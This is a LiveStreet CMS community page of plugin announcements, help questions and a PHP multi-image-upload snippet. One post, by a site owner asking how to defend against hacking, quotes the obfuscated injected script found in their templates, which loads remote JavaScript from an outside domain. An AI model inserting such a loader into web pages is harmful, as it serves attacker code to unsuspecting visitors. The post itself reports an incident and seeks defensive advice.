+0.65
Рейтинг
3.84
Сила

Мероприятия vs События

В каталоге есть два плагина в большей части перекрывающие функционал друг друга.
Плагин «Мероприятия»
Плагин «События»

Плагин «События» бурно обсуждается здесь

Обсуждения плагина «Мероприятия» не нашел.

Вопрос к тем, кто «щупал» оба плагина, плюсы и минусы каждого, на чем остановить свой выбор для городского портала?

Отключение персональных блогов на ls 1.0.3 (F.A.Q)

Я сам новичок в ls, двиг очень понравился, но после установки кое-что пришлось подпиливать под себя!

И так, к делу! В этом посте я расскажу как отключить «Персональные блоги» на ls 1.0.3

Читать дальше →

Плагин «Мультилогин» (обновление 15.09.2014)

Описание

Плагин позволяет пользователям быть авторизованными одновременно с разных устройств (без сброса cookie).

GitHub: github.com/wasja1982/livestreet_multilogin

Читать дальше →

Плагин "Tags Kit" - расширенный функционал тегов


Плагин значительно расширяет функционал стандартных тегов.
На данный момент доступны три большие группы дополнительного функционала.


По катом описание и скидка →

Плагин «Оповещение пользователя об упоминании в топике/комментарии»

Дощли руки оформить и вынести в каталог плагин, используемый на своем сайте.
Функционал плагина полностью описан в его названии — Оповещение пользователя об упоминании в топике/комментарии.

Как только в топике/комментарии используется тег
<ls user="user_name" />
, то пользователь user_name получает оповещение об этом на почту и в ЛС.

Плагин «Удаление комментариев»

Описание

Плагин позволяет пользователям удалять и восстанавливать любые комментарии в своих топиках.
Поддерживается ограничение по рейтингу и времени.

Совместим с шаблонами:
— Synio;
— Mobile;
— Vintage;
— Inspiration.

GitHub: github.com/wasja1982/livestreet_deletecomment

Читать дальше →

Хук на выводе результата поиска

Коллеги, а есть ли хук (наподобие «topics_list_show») на выводе списка топиков в поиске, т.е. по пути /search/topics/…? Искал по исходникам, пока не смог найти, буду благодарен за подсказку.

И то же самое интересует для вывода комментариев в поиске (/search/comments/…).

Как защитить сайт от взлома?

Всем привет!

Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.

Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).

В компилированные файлы шаблона вставлялся код следующего вида
<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>


Читать дальше →

Мультизагрузка изображений

Простой (самый простой) способ реализовать мультизагрузку картинок.

В шаблоне правим window_load_img.tpl, делаем массив img_file[] и дописываем multiple
<input type="file" name="img_file[]" id="img_file" value="" class="input-text input-width-full" multiple />


И ActionAjax.class.php, вот функция EventUploadImage() целиком
	/**
	 * Загрузка изображения
	 *
	 */
	protected function EventUploadImage() {
		/**
		 * Т.к. используется обработка отправки формы, то устанавливаем тип ответа 'jsonIframe' (тот же JSON только обернутый в textarea)
		 * Это позволяет избежать ошибок в некоторых браузерах, например, Opera
		 */
		$this->Viewer_SetResponseAjax('jsonIframe',false);
		/**
		 * Пользователь авторизован?
		 */
		if (!$this->oUserCurrent) {
			$this->Message_AddErrorSingle($this->Lang_Get('need_authorization'),$this->Lang_Get('error'));
			return;
		}
		$sFile=null;
                
                
                if (isPost('img_url') && $_REQUEST['img_url']!='' && $_REQUEST['img_url']!='http://') {
                        /**
                         * Загрузка файла по URl
                         */
                        $sFile=$this->Topic_UploadTopicImageUrl($_REQUEST['img_url'],$this->oUserCurrent);
                        switch (true) {
                                case is_string($sFile):

                                        break;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_READ):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_read'),$this->Lang_Get('error'));
                                        return;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_SIZE):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_size'),$this->Lang_Get('error'));
                                        return;

                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR_TYPE):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error_type'),$this->Lang_Get('error'));
                                        return;

                                default:
                                case ($sFile==ModuleImage::UPLOAD_IMAGE_ERROR):
                                        $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_url_error'),$this->Lang_Get('error'));
                                        return;
                        }

                        if ($sFile) {                        
                                $sText=$this->Image_BuildHTML($sFile, $_REQUEST);
                        }

                } else {

                        foreach ($_FILES['img_file'] as $k=>$v){
                           if(is_array($v)){
                               foreach ($v as $sk=>$sv){ 
                                        $arr[$sk][$k]=$sv;
                                }
                               }
                            }

                        $sText = "";

                        foreach ($arr as $_FILES['img_file']) {

                                /**
                                 * Был выбран файл с компьютера и он успешно зугрузился?
                                 */
                                if (is_uploaded_file($_FILES['img_file']['tmp_name'])) {

                                        if(!$sFile=$this->Topic_UploadTopicImageFile($_FILES['img_file'],$this->oUserCurrent)) {
                                                $this->Message_AddErrorSingle($this->Lang_Get('uploadimg_file_error'),$this->Lang_Get('error'));
                                                return;
                                        }
                                        /**
                                         * Если файл успешно загружен, формируем HTML вставки и возвращаем в ajax ответе
                                         */
                                        if ($sFile) {
                                                $sText.=$this->Image_BuildHTML($sFile, $_REQUEST);
                                        }

                                }	

                        } //foreach

                }

		$this->Viewer_AssignAjax('sText',$sText);		
		
	}


такие дела